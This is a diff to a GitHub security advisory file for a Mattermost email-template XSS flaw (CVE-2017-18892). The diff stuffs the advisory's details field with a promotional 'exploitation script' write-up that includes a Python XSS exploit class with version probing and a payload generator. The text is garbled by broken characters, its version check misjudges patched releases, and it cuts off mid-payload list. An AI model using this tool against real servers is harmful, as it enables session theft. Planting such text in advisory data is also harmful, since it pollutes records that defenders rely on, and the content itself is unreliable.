diff --git a/advisories/github-reviewed/2022/05/GHSA-wj5w-qghh-gvqp/GHSA-wj5w-qghh-gvqp.json b/advisories/github-reviewed/2022/05/GHSA-wj5w-qghh-gvqp/GHSA-wj5w-qghh-gvqp.json
index a208364ecc16c..7a26980ddee23 100644
--- a/advisories/github-reviewed/2022/05/GHSA-wj5w-qghh-gvqp/GHSA-wj5w-qghh-gvqp.json
+++ b/advisories/github-reviewed/2022/05/GHSA-wj5w-qghh-gvqp/GHSA-wj5w-qghh-gvqp.json
@@ -1,13 +1,13 @@
{
"schema_version": "1.4.0",
"id": "GHSA-wj5w-qghh-gvqp",
- "modified": "2026-01-14T21:16:57Z",
+ "modified": "2026-01-14T21:17:00Z",
"published": "2022-05-24T17:21:05Z",
"aliases": [
"CVE-2017-18892"
],
"summary": "Mattermost Server does not neutralize HTML content in an Email template field",
- "details": "An issue was discovered in Mattermost Server before 4.2.0, 4.1.1, and 4.0.5. E-mail templates can have a field in which HTML content is not neutralized.",
+ "details": "An issue was discovered in Mattermost Server before 4.2.0, 4.1.1, and 4.0.5. E-mail templates can have a field in which HTML content is not neutralized.\n# š”ļø Mattermost CVE-2017-18892 - Complete Security Analysis & Exploitation Script\n\n## š Executive Summary\n\n**Vulnerability**: Cross-Site Scripting (XSS) in HTML Email Content \n**CVE ID**: CVE-2017-18892 \n**Severity**: MEDIUM (6.1/10 CVSS) \n**Affected Product**: Mattermost Server \n**Vulnerable Versions**: < 4.0.5, 4.1.1, 4.2.0 \n**Attack Vector**: Network-based, Low Complexity \n**Status**: Patched in versions 4.0.5, 4.1.1, 4.2.0+\n\n---\n\n## š Vulnerability Analysis\n\n### **Technical Description**\nMattermost fails to properly sanitize HTML content in email notifications, allowing attackers to inject malicious JavaScript that executes when victims open specially crafted email messages.\n\n### **Attack Vector**\n```\nAttacker ā Crafted Email ā Victim Opens ā XSS Executes ā Session/Data Stolen\n```\n\n### **CVSS 3.1 Score Breakdown**\n```\nBase Score: 6.1 (MEDIUM)\nVector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/U:L/I:L/A:N\n\nAV:N - Attack Vector: Network\nAC:L - Attack Complexity: Low\nPR:N - Privileges Required: None\nUI:R - User Interaction: Required\nS:C - Scope: Changed\nU:L - Confidentiality Impact: Low\nI:L - Integrity Impact: Low\nA:N - Availability Impact: None\n```\n\n---\n\n## šÆ Professional Exploitation Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā\nā Mattermost CVE-2017-18892 XSS Exploitation Framework ā\nā Author: Cyber Security Warrior ā\nā Target: Mattermost Server < 4.0.5, 4.1.1, 4.2.0 ā\nā Warning: For Educational/Authorized Testing Only ā\nāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā\n\"\"\"\n\nimport requests\nimport argparse\nimport json\nimport sys\nfrom urllib.parse import urljoin\nfrom colorama import Fore, Style, init\n\n# Initialize colorama\ninit(autoreset=True)\n\nclass MattermostXSSExploit:\n def __init__(self, target_url, api_token=None):\n self.target_url = target_url.rstrip('/')\n self.api_token = api_token\n self.session = requests.Session()\n self.vulnerable = False\n \n # Headers\n self.headers = {\n 'User-Agent': 'MattermostSecurityScanner/1.0',\n 'Content-Type': 'application/json'\n }\n \n if api_token:\n self.headers['Authorization'] = f'Bearer {api_token}'\n \n def banner(self):\n \"\"\"Display tool banner\"\"\"\n banner = f\"\"\"\n{Fore.RED}\nāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā\nā ā\nā āāāā āāāā āāāāāā āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā ā\nā āāāāā āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā ā\nā āāāāāāāāāāāāāāāāāāā āāā āāā āāāāāā āāāāāāāā ā\nā āāāāāāāāāāāāāāāāāāā āāā āāā āāāāāā āāāāāāāā ā\nā āāā āāā āāāāāā āāā āāā āāā āāāāāāāāāāā āāā ā\nā āāā āāāāāā āāā āāā āāā āāāāāāāāāāā āāā ā\nā ā\nā CVE-2017-18892 XSS Exploitation Tool ā\nā Professional Edition ā\nāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā\n{Style.RESET_ALL}\n \"\"\"\n print(banner)\n \n def check_version(self):\n \"\"\"Check Mattermost version\"\"\"\n try:\n print(f\"{Fore.CYAN}[*] Checking Mattermost version...{Style.RESET_ALL}\")\n \n # Try to get version from API\n version_url = urljoin(self.target_url, '/api/v4/system/ping')\n response = self.session.get(version_url, headers=self.headers, timeout=10)\n \n if response.status_code == 200:\n # Try config endpoint\n config_url = urljoin(self.target_url, '/api/v4/config/client')\n config_response = self.session.get(config_url, headers=self.headers, timeout=10)\n \n if config_response.status_code == 200:\n data = config_response.json()\n version = data.get('Version', 'Unknown')\n print(f\"{Fore.GREEN}[+] Mattermost Version: {version}{Style.RESET_ALL}\")\n return version\n \n print(f\"{Fore.YELLOW}[!] Could not determine version{Style.RESET_ALL}\")\n return None\n \n except Exception as e:\n print(f\"{Fore.RED}[-] Error checking version: {str(e)}{Style.RESET_ALL}\")\n return None\n \n def is_vulnerable(self, version):\n \"\"\"Check if version is vulnerable\"\"\"\n if not version or version == 'Unknown':\n return None\n \n try:\n # Parse version\n v_parts = version.split('.')\n major = int(v_parts[0])\n minor = int(v_parts[1]) if len(v_parts) > 1 else 0\n patch = int(v_parts[2]) if len(v_parts) > 2 else 0\n \n # Check vulnerable versions\n if major < 4:\n return True\n elif major == 4:\n if minor == 0 and patch < 5:\n return True\n elif minor == 1 and patch < 1:\n return True\n elif minor == 2 and patch == 0:\n return True\n \n return False\n \n except:\n return None\n \n def generate_xss_payloads(self):\n \"\"\"Generate various XSS payloads\"\"\"\n payloads = [\n # Basic XSS\n '',\n \n # IMG tag\n '
',\n \n # SVG XSS\n '